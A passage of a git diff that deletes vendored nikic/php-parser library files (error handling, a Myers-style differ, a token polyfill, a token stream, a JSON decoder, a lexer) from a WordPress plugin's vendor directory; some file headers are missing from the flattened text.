$this->evaluate($l) or $this->evaluate($r); - case 'xor': return $this->evaluate($l) xor $this->evaluate($r); - case '-': return $this->evaluate($l) - $this->evaluate($r); - case '%': return $this->evaluate($l) % $this->evaluate($r); - case '*': return $this->evaluate($l) * $this->evaluate($r); - case '!=': return $this->evaluate($l) != $this->evaluate($r); - case '!==': return $this->evaluate($l) !== $this->evaluate($r); - case '+': return $this->evaluate($l) + $this->evaluate($r); - case '**': return $this->evaluate($l) ** $this->evaluate($r); - case '<<': return $this->evaluate($l) << $this->evaluate($r); - case '>>': return $this->evaluate($l) >> $this->evaluate($r); - case '<': return $this->evaluate($l) < $this->evaluate($r); - case '<=': return $this->evaluate($l) <= $this->evaluate($r); - case '<=>': return $this->evaluate($l) <=> $this->evaluate($r); - } - - throw new \Exception('Should not happen'); - } - - /** @return mixed */ - private function evaluateConstFetch(Expr\ConstFetch $expr) { - $name = $expr->name->toLowerString(); - switch ($name) { - case 'null': return null; - case 'false': return false; - case 'true': return true; - } - - return ($this->fallbackEvaluator)($expr); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Error.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Error.php deleted file mode 100644 index f81f0c42..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Error.php +++ /dev/null @@ -1,173 +0,0 @@ - */ - protected array $attributes; - - /** - * Creates an Exception signifying a parse error. - * - * @param string $message Error message - * @param array $attributes Attributes of node/token where error occurred - */ - public function __construct(string $message, array $attributes = []) { - $this->rawMessage = $message; - $this->attributes = $attributes; - $this->updateMessage(); - } - - /** - * Gets the error message - * - * @return string Error message - */ - public function getRawMessage(): string { - return $this->rawMessage; - } - - /** - * Gets the line the error starts in. - * - * @return int Error start line - * @phpstan-return -1|positive-int - */ - public function getStartLine(): int { - return $this->attributes['startLine'] ?? -1; - } - - /** - * Gets the line the error ends in. - * - * @return int Error end line - * @phpstan-return -1|positive-int - */ - public function getEndLine(): int { - return $this->attributes['endLine'] ?? -1; - } - - /** - * Gets the attributes of the node/token the error occurred at. - * - * @return array - */ - public function getAttributes(): array { - return $this->attributes; - } - - /** - * Sets the attributes of the node/token the error occurred at. - * - * @param array $attributes - */ - public function setAttributes(array $attributes): void { - $this->attributes = $attributes; - $this->updateMessage(); - } - - /** - * Sets the line of the PHP file the error occurred in. - * - * @param string $message Error message - */ - public function setRawMessage(string $message): void { - $this->rawMessage = $message; - $this->updateMessage(); - } - - /** - * Sets the line the error starts in. - * - * @param int $line Error start line - */ - public function setStartLine(int $line): void { - $this->attributes['startLine'] = $line; - $this->updateMessage(); - } - - /** - * Returns whether the error has start and end column information. - * - * For column information enable the startFilePos and endFilePos in the lexer options. - */ - public function hasColumnInfo(): bool { - return isset($this->attributes['startFilePos'], $this->attributes['endFilePos']); - } - - /** - * Gets the start column (1-based) into the line where the error started. - * - * @param string $code Source code of the file - */ - public function getStartColumn(string $code): int { - if (!$this->hasColumnInfo()) { - throw new \RuntimeException('Error does not have column information'); - } - - return $this->toColumn($code, $this->attributes['startFilePos']); - } - - /** - * Gets the end column (1-based) into the line where the error ended. - * - * @param string $code Source code of the file - */ - public function getEndColumn(string $code): int { - if (!$this->hasColumnInfo()) { - throw new \RuntimeException('Error does not have column information'); - } - - return $this->toColumn($code, $this->attributes['endFilePos']); - } - - /** - * Formats message including line and column information. - * - * @param string $code Source code associated with the error, for calculation of the columns - * - * @return string Formatted message - */ - public function getMessageWithColumnInfo(string $code): string { - return sprintf( - '%s from %d:%d to %d:%d', $this->getRawMessage(), - $this->getStartLine(), $this->getStartColumn($code), - $this->getEndLine(), $this->getEndColumn($code) - ); - } - - /** - * Converts a file offset into a column. - * - * @param string $code Source code that $pos indexes into - * @param int $pos 0-based position in $code - * - * @return int 1-based column (relative to start of line) - */ - private function toColumn(string $code, int $pos): int { - if ($pos > strlen($code)) { - throw new \RuntimeException('Invalid position information'); - } - - $lineStartPos = strrpos($code, "\n", $pos - strlen($code)); - if (false === $lineStartPos) { - $lineStartPos = -1; - } - - return $pos - $lineStartPos; - } - - /** - * Updates the exception message after a change to rawMessage or rawLine. - */ - protected function updateMessage(): void { - $this->message = $this->rawMessage; - - if (-1 === $this->getStartLine()) { - $this->message .= ' on unknown line'; - } else { - $this->message .= ' on line ' . $this->getStartLine(); - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/ErrorHandler.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/ErrorHandler.php deleted file mode 100644 index 51ad730c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/ErrorHandler.php +++ /dev/null @@ -1,12 +0,0 @@ -errors[] = $error; - } - - /** - * Get collected errors. - * - * @return Error[] - */ - public function getErrors(): array { - return $this->errors; - } - - /** - * Check whether there are any errors. - */ - public function hasErrors(): bool { - return !empty($this->errors); - } - - /** - * Reset/clear collected errors. - */ - public function clearErrors(): void { - $this->errors = []; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/ErrorHandler/Throwing.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/ErrorHandler/Throwing.php deleted file mode 100644 index dff33dd0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/ErrorHandler/Throwing.php +++ /dev/null @@ -1,17 +0,0 @@ -type = $type; - $this->old = $old; - $this->new = $new; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Internal/Differ.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Internal/Differ.php deleted file mode 100644 index 253e1757..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Internal/Differ.php +++ /dev/null @@ -1,178 +0,0 @@ -isEqual = $isEqual; - } - - /** - * Calculate diff (edit script) from $old to $new. - * - * @param T[] $old Original array - * @param T[] $new New array - * - * @return DiffElem[] Diff (edit script) - */ - public function diff(array $old, array $new): array { - $old = \array_values($old); - $new = \array_values($new); - list($trace, $x, $y) = $this->calculateTrace($old, $new); - return $this->extractDiff($trace, $x, $y, $old, $new); - } - - /** - * Calculate diff, including "replace" operations. - * - * If a sequence of remove operations is followed by the same number of add operations, these - * will be coalesced into replace operations. - * - * @param T[] $old Original array - * @param T[] $new New array - * - * @return DiffElem[] Diff (edit script), including replace operations - */ - public function diffWithReplacements(array $old, array $new): array { - return $this->coalesceReplacements($this->diff($old, $new)); - } - - /** - * @param T[] $old - * @param T[] $new - * @return array{array>, int, int} - */ - private function calculateTrace(array $old, array $new): array { - $n = \count($old); - $m = \count($new); - $max = $n + $m; - $v = [1 => 0]; - $trace = []; - for ($d = 0; $d <= $max; $d++) { - $trace[] = $v; - for ($k = -$d; $k <= $d; $k += 2) { - if ($k === -$d || ($k !== $d && $v[$k - 1] < $v[$k + 1])) { - $x = $v[$k + 1]; - } else { - $x = $v[$k - 1] + 1; - } - - $y = $x - $k; - while ($x < $n && $y < $m && ($this->isEqual)($old[$x], $new[$y])) { - $x++; - $y++; - } - - $v[$k] = $x; - if ($x >= $n && $y >= $m) { - return [$trace, $x, $y]; - } - } - } - throw new \Exception('Should not happen'); - } - - /** - * @param array> $trace - * @param T[] $old - * @param T[] $new - * @return DiffElem[] - */ - private function extractDiff(array $trace, int $x, int $y, array $old, array $new): array { - $result = []; - for ($d = \count($trace) - 1; $d >= 0; $d--) { - $v = $trace[$d]; - $k = $x - $y; - - if ($k === -$d || ($k !== $d && $v[$k - 1] < $v[$k + 1])) { - $prevK = $k + 1; - } else { - $prevK = $k - 1; - } - - $prevX = $v[$prevK]; - $prevY = $prevX - $prevK; - - while ($x > $prevX && $y > $prevY) { - $result[] = new DiffElem(DiffElem::TYPE_KEEP, $old[$x - 1], $new[$y - 1]); - $x--; - $y--; - } - - if ($d === 0) { - break; - } - - while ($x > $prevX) { - $result[] = new DiffElem(DiffElem::TYPE_REMOVE, $old[$x - 1], null); - $x--; - } - - while ($y > $prevY) { - $result[] = new DiffElem(DiffElem::TYPE_ADD, null, $new[$y - 1]); - $y--; - } - } - return array_reverse($result); - } - - /** - * Coalesce equal-length sequences of remove+add into a replace operation. - * - * @param DiffElem[] $diff - * @return DiffElem[] - */ - private function coalesceReplacements(array $diff): array { - $newDiff = []; - $c = \count($diff); - for ($i = 0; $i < $c; $i++) { - $diffType = $diff[$i]->type; - if ($diffType !== DiffElem::TYPE_REMOVE) { - $newDiff[] = $diff[$i]; - continue; - } - - $j = $i; - while ($j < $c && $diff[$j]->type === DiffElem::TYPE_REMOVE) { - $j++; - } - - $k = $j; - while ($k < $c && $diff[$k]->type === DiffElem::TYPE_ADD) { - $k++; - } - - if ($j - $i === $k - $j) { - $len = $j - $i; - for ($n = 0; $n < $len; $n++) { - $newDiff[] = new DiffElem( - DiffElem::TYPE_REPLACE, $diff[$i + $n]->old, $diff[$j + $n]->new - ); - } - } else { - for (; $i < $k; $i++) { - $newDiff[] = $diff[$i]; - } - } - $i = $k - 1; - } - return $newDiff; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Internal/PrintableNewAnonClassNode.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Internal/PrintableNewAnonClassNode.php deleted file mode 100644 index b30a99a1..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Internal/PrintableNewAnonClassNode.php +++ /dev/null @@ -1,71 +0,0 @@ - $attributes Attributes - */ - public function __construct( - array $attrGroups, int $flags, array $args, ?Node\Name $extends, array $implements, - array $stmts, array $attributes - ) { - parent::__construct($attributes); - $this->attrGroups = $attrGroups; - $this->flags = $flags; - $this->args = $args; - $this->extends = $extends; - $this->implements = $implements; - $this->stmts = $stmts; - } - - public static function fromNewNode(Expr\New_ $newNode): self { - $class = $newNode->class; - assert($class instanceof Node\Stmt\Class_); - // We don't assert that $class->name is null here, to allow consumers to assign unique names - // to anonymous classes for their own purposes. We simplify ignore the name here. - return new self( - $class->attrGroups, $class->flags, $newNode->args, $class->extends, $class->implements, - $class->stmts, $newNode->getAttributes() - ); - } - - public function getType(): string { - return 'Expr_PrintableNewAnonClass'; - } - - public function getSubNodeNames(): array { - return ['attrGroups', 'flags', 'args', 'extends', 'implements', 'stmts']; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Internal/TokenPolyfill.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Internal/TokenPolyfill.php deleted file mode 100644 index 36022d09..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Internal/TokenPolyfill.php +++ /dev/null @@ -1,237 +0,0 @@ -= 80000) { - class TokenPolyfill extends \PhpToken { - } - return; -} - -/** - * This is a polyfill for the PhpToken class introduced in PHP 8.0. We do not actually polyfill - * PhpToken, because composer might end up picking a different polyfill implementation, which does - * not meet our requirements. - * - * @internal - */ -class TokenPolyfill { - /** @var int The ID of the token. Either a T_* constant of a character code < 256. */ - public int $id; - /** @var string The textual content of the token. */ - public string $text; - /** @var int The 1-based starting line of the token (or -1 if unknown). */ - public int $line; - /** @var int The 0-based starting position of the token (or -1 if unknown). */ - public int $pos; - - /** @var array Tokens ignored by the PHP parser. */ - private const IGNORABLE_TOKENS = [ - \T_WHITESPACE => true, - \T_COMMENT => true, - \T_DOC_COMMENT => true, - \T_OPEN_TAG => true, - ]; - - /** @var array Tokens that may be part of a T_NAME_* identifier. */ - private static array $identifierTokens; - - /** - * Create a Token with the given ID and text, as well optional line and position information. - */ - final public function __construct(int $id, string $text, int $line = -1, int $pos = -1) { - $this->id = $id; - $this->text = $text; - $this->line = $line; - $this->pos = $pos; - } - - /** - * Get the name of the token. For single-char tokens this will be the token character. - * Otherwise it will be a T_* style name, or null if the token ID is unknown. - */ - public function getTokenName(): ?string { - if ($this->id < 256) { - return \chr($this->id); - } - - $name = token_name($this->id); - return $name === 'UNKNOWN' ? null : $name; - } - - /** - * Check whether the token is of the given kind. The kind may be either an integer that matches - * the token ID, a string that matches the token text, or an array of integers/strings. In the - * latter case, the function returns true if any of the kinds in the array match. - * - * @param int|string|(int|string)[] $kind - */ - public function is($kind): bool { - if (\is_int($kind)) { - return $this->id === $kind; - } - if (\is_string($kind)) { - return $this->text === $kind; - } - if (\is_array($kind)) { - foreach ($kind as $entry) { - if (\is_int($entry)) { - if ($this->id === $entry) { - return true; - } - } elseif (\is_string($entry)) { - if ($this->text === $entry) { - return true; - } - } else { - throw new \TypeError( - 'Argument #1 ($kind) must only have elements of type string|int, ' . - gettype($entry) . ' given'); - } - } - return false; - } - throw new \TypeError( - 'Argument #1 ($kind) must be of type string|int|array, ' .gettype($kind) . ' given'); - } - - /** - * Check whether this token would be ignored by the PHP parser. Returns true for T_WHITESPACE, - * T_COMMENT, T_DOC_COMMENT and T_OPEN_TAG, and false for everything else. - */ - public function isIgnorable(): bool { - return isset(self::IGNORABLE_TOKENS[$this->id]); - } - - /** - * Return the textual content of the token. - */ - public function __toString(): string { - return $this->text; - } - - /** - * Tokenize the given source code and return an array of tokens. - * - * This performs certain canonicalizations to match the PHP 8.0 token format: - * * Bad characters are represented using T_BAD_CHARACTER rather than omitted. - * * T_COMMENT does not include trailing newlines, instead the newline is part of a following - * T_WHITESPACE token. - * * Namespaced names are represented using T_NAME_* tokens. - * - * @return static[] - */ - public static function tokenize(string $code, int $flags = 0): array { - self::init(); - - $tokens = []; - $line = 1; - $pos = 0; - $origTokens = \token_get_all($code, $flags); - - $numTokens = \count($origTokens); - for ($i = 0; $i < $numTokens; $i++) { - $token = $origTokens[$i]; - if (\is_string($token)) { - if (\strlen($token) === 2) { - // b" and B" are tokenized as single-char tokens, even though they aren't. - $tokens[] = new static(\ord('"'), $token, $line, $pos); - $pos += 2; - } else { - $tokens[] = new static(\ord($token), $token, $line, $pos); - $pos++; - } - } else { - $id = $token[0]; - $text = $token[1]; - - // Emulate PHP 8.0 comment format, which does not include trailing whitespace anymore. - if ($id === \T_COMMENT && \substr($text, 0, 2) !== '/*' && - \preg_match('/(\r\n|\n|\r)$/D', $text, $matches) - ) { - $trailingNewline = $matches[0]; - $text = \substr($text, 0, -\strlen($trailingNewline)); - $tokens[] = new static($id, $text, $line, $pos); - $pos += \strlen($text); - - if ($i + 1 < $numTokens && $origTokens[$i + 1][0] === \T_WHITESPACE) { - // Move trailing newline into following T_WHITESPACE token, if it already exists. - $origTokens[$i + 1][1] = $trailingNewline . $origTokens[$i + 1][1]; - $origTokens[$i + 1][2]--; - } else { - // Otherwise, we need to create a new T_WHITESPACE token. - $tokens[] = new static(\T_WHITESPACE, $trailingNewline, $line, $pos); - $line++; - $pos += \strlen($trailingNewline); - } - continue; - } - - // Emulate PHP 8.0 T_NAME_* tokens, by combining sequences of T_NS_SEPARATOR and - // T_STRING into a single token. - if (($id === \T_NS_SEPARATOR || isset(self::$identifierTokens[$id]))) { - $newText = $text; - $lastWasSeparator = $id === \T_NS_SEPARATOR; - for ($j = $i + 1; $j < $numTokens; $j++) { - if ($lastWasSeparator) { - if (!isset(self::$identifierTokens[$origTokens[$j][0]])) { - break; - } - $lastWasSeparator = false; - } else { - if ($origTokens[$j][0] !== \T_NS_SEPARATOR) { - break; - } - $lastWasSeparator = true; - } - $newText .= $origTokens[$j][1]; - } - if ($lastWasSeparator) { - // Trailing separator is not part of the name. - $j--; - $newText = \substr($newText, 0, -1); - } - if ($j > $i + 1) { - if ($id === \T_NS_SEPARATOR) { - $id = \T_NAME_FULLY_QUALIFIED; - } elseif ($id === \T_NAMESPACE) { - $id = \T_NAME_RELATIVE; - } else { - $id = \T_NAME_QUALIFIED; - } - $tokens[] = new static($id, $newText, $line, $pos); - $pos += \strlen($newText); - $i = $j - 1; - continue; - } - } - - $tokens[] = new static($id, $text, $line, $pos); - $line += \substr_count($text, "\n"); - $pos += \strlen($text); - } - } - return $tokens; - } - - /** Initialize private static state needed by tokenize(). */ - private static function init(): void { - if (isset(self::$identifierTokens)) { - return; - } - - // Based on semi_reserved production. - self::$identifierTokens = \array_fill_keys([ - \T_STRING, - \T_STATIC, \T_ABSTRACT, \T_FINAL, \T_PRIVATE, \T_PROTECTED, \T_PUBLIC, \T_READONLY, - \T_INCLUDE, \T_INCLUDE_ONCE, \T_EVAL, \T_REQUIRE, \T_REQUIRE_ONCE, \T_LOGICAL_OR, \T_LOGICAL_XOR, \T_LOGICAL_AND, - \T_INSTANCEOF, \T_NEW, \T_CLONE, \T_EXIT, \T_IF, \T_ELSEIF, \T_ELSE, \T_ENDIF, \T_ECHO, \T_DO, \T_WHILE, - \T_ENDWHILE, \T_FOR, \T_ENDFOR, \T_FOREACH, \T_ENDFOREACH, \T_DECLARE, \T_ENDDECLARE, \T_AS, \T_TRY, \T_CATCH, - \T_FINALLY, \T_THROW, \T_USE, \T_INSTEADOF, \T_GLOBAL, \T_VAR, \T_UNSET, \T_ISSET, \T_EMPTY, \T_CONTINUE, \T_GOTO, - \T_FUNCTION, \T_CONST, \T_RETURN, \T_PRINT, \T_YIELD, \T_LIST, \T_SWITCH, \T_ENDSWITCH, \T_CASE, \T_DEFAULT, - \T_BREAK, \T_ARRAY, \T_CALLABLE, \T_EXTENDS, \T_IMPLEMENTS, \T_NAMESPACE, \T_TRAIT, \T_INTERFACE, \T_CLASS, - \T_CLASS_C, \T_TRAIT_C, \T_FUNC_C, \T_METHOD_C, \T_LINE, \T_FILE, \T_DIR, \T_NS_C, \T_HALT_COMPILER, \T_FN, - \T_MATCH, - ], true); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Internal/TokenStream.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Internal/TokenStream.php deleted file mode 100644 index cdbe2bdc..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Internal/TokenStream.php +++ /dev/null @@ -1,282 +0,0 @@ -tokens = $tokens; - $this->indentMap = $this->calcIndentMap($tabWidth); - } - - /** - * Whether the given position is immediately surrounded by parenthesis. - * - * @param int $startPos Start position - * @param int $endPos End position - */ - public function haveParens(int $startPos, int $endPos): bool { - return $this->haveTokenImmediatelyBefore($startPos, '(') - && $this->haveTokenImmediatelyAfter($endPos, ')'); - } - - /** - * Whether the given position is immediately surrounded by braces. - * - * @param int $startPos Start position - * @param int $endPos End position - */ - public function haveBraces(int $startPos, int $endPos): bool { - return ($this->haveTokenImmediatelyBefore($startPos, '{') - || $this->haveTokenImmediatelyBefore($startPos, T_CURLY_OPEN)) - && $this->haveTokenImmediatelyAfter($endPos, '}'); - } - - /** - * Check whether the position is directly preceded by a certain token type. - * - * During this check whitespace and comments are skipped. - * - * @param int $pos Position before which the token should occur - * @param int|string $expectedTokenType Token to check for - * - * @return bool Whether the expected token was found - */ - public function haveTokenImmediatelyBefore(int $pos, $expectedTokenType): bool { - $tokens = $this->tokens; - $pos--; - for (; $pos >= 0; $pos--) { - $token = $tokens[$pos]; - if ($token->is($expectedTokenType)) { - return true; - } - if (!$token->isIgnorable()) { - break; - } - } - return false; - } - - /** - * Check whether the position is directly followed by a certain token type. - * - * During this check whitespace and comments are skipped. - * - * @param int $pos Position after which the token should occur - * @param int|string $expectedTokenType Token to check for - * - * @return bool Whether the expected token was found - */ - public function haveTokenImmediatelyAfter(int $pos, $expectedTokenType): bool { - $tokens = $this->tokens; - $pos++; - for ($c = \count($tokens); $pos < $c; $pos++) { - $token = $tokens[$pos]; - if ($token->is($expectedTokenType)) { - return true; - } - if (!$token->isIgnorable()) { - break; - } - } - return false; - } - - /** @param int|string|(int|string)[] $skipTokenType */ - public function skipLeft(int $pos, $skipTokenType): int { - $tokens = $this->tokens; - - $pos = $this->skipLeftWhitespace($pos); - if ($skipTokenType === \T_WHITESPACE) { - return $pos; - } - - if (!$tokens[$pos]->is($skipTokenType)) { - // Shouldn't happen. The skip token MUST be there - throw new \Exception('Encountered unexpected token'); - } - $pos--; - - return $this->skipLeftWhitespace($pos); - } - - /** @param int|string|(int|string)[] $skipTokenType */ - public function skipRight(int $pos, $skipTokenType): int { - $tokens = $this->tokens; - - $pos = $this->skipRightWhitespace($pos); - if ($skipTokenType === \T_WHITESPACE) { - return $pos; - } - - if (!$tokens[$pos]->is($skipTokenType)) { - // Shouldn't happen. The skip token MUST be there - throw new \Exception('Encountered unexpected token'); - } - $pos++; - - return $this->skipRightWhitespace($pos); - } - - /** - * Return first non-whitespace token position smaller or equal to passed position. - * - * @param int $pos Token position - * @return int Non-whitespace token position - */ - public function skipLeftWhitespace(int $pos): int { - $tokens = $this->tokens; - for (; $pos >= 0; $pos--) { - if (!$tokens[$pos]->isIgnorable()) { - break; - } - } - return $pos; - } - - /** - * Return first non-whitespace position greater or equal to passed position. - * - * @param int $pos Token position - * @return int Non-whitespace token position - */ - public function skipRightWhitespace(int $pos): int { - $tokens = $this->tokens; - for ($count = \count($tokens); $pos < $count; $pos++) { - if (!$tokens[$pos]->isIgnorable()) { - break; - } - } - return $pos; - } - - /** @param int|string|(int|string)[] $findTokenType */ - public function findRight(int $pos, $findTokenType): int { - $tokens = $this->tokens; - for ($count = \count($tokens); $pos < $count; $pos++) { - if ($tokens[$pos]->is($findTokenType)) { - return $pos; - } - } - return -1; - } - - /** - * Whether the given position range contains a certain token type. - * - * @param int $startPos Starting position (inclusive) - * @param int $endPos Ending position (exclusive) - * @param int|string $tokenType Token type to look for - * @return bool Whether the token occurs in the given range - */ - public function haveTokenInRange(int $startPos, int $endPos, $tokenType): bool { - $tokens = $this->tokens; - for ($pos = $startPos; $pos < $endPos; $pos++) { - if ($tokens[$pos]->is($tokenType)) { - return true; - } - } - return false; - } - - public function haveTagInRange(int $startPos, int $endPos): bool { - return $this->haveTokenInRange($startPos, $endPos, \T_OPEN_TAG) - || $this->haveTokenInRange($startPos, $endPos, \T_CLOSE_TAG); - } - - /** - * Get indentation before token position. - * - * @param int $pos Token position - * - * @return int Indentation depth (in spaces) - */ - public function getIndentationBefore(int $pos): int { - return $this->indentMap[$pos]; - } - - /** - * Get the code corresponding to a token offset range, optionally adjusted for indentation. - * - * @param int $from Token start position (inclusive) - * @param int $to Token end position (exclusive) - * @param int $indent By how much the code should be indented (can be negative as well) - * - * @return string Code corresponding to token range, adjusted for indentation - */ - public function getTokenCode(int $from, int $to, int $indent): string { - $tokens = $this->tokens; - $result = ''; - for ($pos = $from; $pos < $to; $pos++) { - $token = $tokens[$pos]; - $id = $token->id; - $text = $token->text; - if ($id === \T_CONSTANT_ENCAPSED_STRING || $id === \T_ENCAPSED_AND_WHITESPACE) { - $result .= $text; - } else { - // TODO Handle non-space indentation - if ($indent < 0) { - $result .= str_replace("\n" . str_repeat(" ", -$indent), "\n", $text); - } elseif ($indent > 0) { - $result .= str_replace("\n", "\n" . str_repeat(" ", $indent), $text); - } else { - $result .= $text; - } - } - } - return $result; - } - - /** - * Precalculate the indentation at every token position. - * - * @return int[] Token position to indentation map - */ - private function calcIndentMap(int $tabWidth): array { - $indentMap = []; - $indent = 0; - foreach ($this->tokens as $i => $token) { - $indentMap[] = $indent; - - if ($token->id === \T_WHITESPACE) { - $content = $token->text; - $newlinePos = \strrpos($content, "\n"); - if (false !== $newlinePos) { - $indent = $this->getIndent(\substr($content, $newlinePos + 1), $tabWidth); - } elseif ($i === 1 && $this->tokens[0]->id === \T_OPEN_TAG && - $this->tokens[0]->text[\strlen($this->tokens[0]->text) - 1] === "\n") { - // Special case: Newline at the end of opening tag followed by whitespace. - $indent = $this->getIndent($content, $tabWidth); - } - } - } - - // Add a sentinel for one past end of the file - $indentMap[] = $indent; - - return $indentMap; - } - - private function getIndent(string $ws, int $tabWidth): int { - $spaces = \substr_count($ws, " "); - $tabs = \substr_count($ws, "\t"); - assert(\strlen($ws) === $spaces + $tabs); - return $spaces + $tabs * $tabWidth; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/JsonDecoder.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/JsonDecoder.php deleted file mode 100644 index 7be41426..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/JsonDecoder.php +++ /dev/null @@ -1,108 +0,0 @@ -[] Node type to reflection class map */ - private array $reflectionClassCache; - - /** @return mixed */ - public function decode(string $json) { - $value = json_decode($json, true); - if (json_last_error()) { - throw new \RuntimeException('JSON decoding error: ' . json_last_error_msg()); - } - - return $this->decodeRecursive($value); - } - - /** - * @param mixed $value - * @return mixed - */ - private function decodeRecursive($value) { - if (\is_array($value)) { - if (isset($value['nodeType'])) { - if ($value['nodeType'] === 'Comment' || $value['nodeType'] === 'Comment_Doc') { - return $this->decodeComment($value); - } - return $this->decodeNode($value); - } - return $this->decodeArray($value); - } - return $value; - } - - private function decodeArray(array $array): array { - $decodedArray = []; - foreach ($array as $key => $value) { - $decodedArray[$key] = $this->decodeRecursive($value); - } - return $decodedArray; - } - - private function decodeNode(array $value): Node { - $nodeType = $value['nodeType']; - if (!\is_string($nodeType)) { - throw new \RuntimeException('Node type must be a string'); - } - - $reflectionClass = $this->reflectionClassFromNodeType($nodeType); - $node = $reflectionClass->newInstanceWithoutConstructor(); - - if (isset($value['attributes'])) { - if (!\is_array($value['attributes'])) { - throw new \RuntimeException('Attributes must be an array'); - } - - $node->setAttributes($this->decodeArray($value['attributes'])); - } - - foreach ($value as $name => $subNode) { - if ($name === 'nodeType' || $name === 'attributes') { - continue; - } - - $node->$name = $this->decodeRecursive($subNode); - } - - return $node; - } - - private function decodeComment(array $value): Comment { - $className = $value['nodeType'] === 'Comment' ? Comment::class : Comment\Doc::class; - if (!isset($value['text'])) { - throw new \RuntimeException('Comment must have text'); - } - - return new $className( - $value['text'], - $value['line'] ?? -1, $value['filePos'] ?? -1, $value['tokenPos'] ?? -1, - $value['endLine'] ?? -1, $value['endFilePos'] ?? -1, $value['endTokenPos'] ?? -1 - ); - } - - /** @return \ReflectionClass */ - private function reflectionClassFromNodeType(string $nodeType): \ReflectionClass { - if (!isset($this->reflectionClassCache[$nodeType])) { - $className = $this->classNameFromNodeType($nodeType); - $this->reflectionClassCache[$nodeType] = new \ReflectionClass($className); - } - return $this->reflectionClassCache[$nodeType]; - } - - /** @return class-string */ - private function classNameFromNodeType(string $nodeType): string { - $className = 'PhpParser\\Node\\' . strtr($nodeType, '_', '\\'); - if (class_exists($className)) { - return $className; - } - - $className .= '_'; - if (class_exists($className)) { - return $className; - } - - throw new \RuntimeException("Unknown node type \"$nodeType\""); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer.php deleted file mode 100644 index 5e2ece96..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer.php +++ /dev/null @@ -1,116 +0,0 @@ -postprocessTokens($tokens, $errorHandler); - - if (false !== $scream) { - ini_set('xdebug.scream', $scream); - } - - return $tokens; - } - - private function handleInvalidCharacter(Token $token, ErrorHandler $errorHandler): void { - $chr = $token->text; - if ($chr === "\0") { - // PHP cuts error message after null byte, so need special case - $errorMsg = 'Unexpected null byte'; - } else { - $errorMsg = sprintf( - 'Unexpected character "%s" (ASCII %d)', $chr, ord($chr) - ); - } - - $errorHandler->handleError(new Error($errorMsg, [ - 'startLine' => $token->line, - 'endLine' => $token->line, - 'startFilePos' => $token->pos, - 'endFilePos' => $token->pos, - ])); - } - - private function isUnterminatedComment(Token $token): bool { - return $token->is([\T_COMMENT, \T_DOC_COMMENT]) - && substr($token->text, 0, 2) === '/*' - && substr($token->text, -2) !== '*/'; - } - - /** - * @param list $tokens - */ - protected function postprocessTokens(array &$tokens, ErrorHandler $errorHandler): void { - // This function reports errors (bad characters and unterminated comments) in the token - // array, and performs certain canonicalizations: - // * Use PHP 8.1 T_AMPERSAND_NOT_FOLLOWED_BY_VAR_OR_VARARG and - // T_AMPERSAND_FOLLOWED_BY_VAR_OR_VARARG tokens used to disambiguate intersection types. - // * Add a sentinel token with ID 0. - - $numTokens = \count($tokens); - if ($numTokens === 0) { - // Empty input edge case: Just add the sentinel token. - $tokens[] = new Token(0, "\0", 1, 0); - return; - } - - for ($i = 0; $i < $numTokens; $i++) { - $token = $tokens[$i]; - if ($token->id === \T_BAD_CHARACTER) { - $this->handleInvalidCharacter($token, $errorHandler); - } - - if ($token->id === \ord('&')) { - $next = $i + 1; - while (isset($tokens[$next]) && $tokens[$next]->id === \T_WHITESPACE) { - $next++; - } - $followedByVarOrVarArg = isset($tokens[$next]) && - $tokens[$next]->is([\T_VARIABLE, \T_ELLIPSIS]); - $token->id = 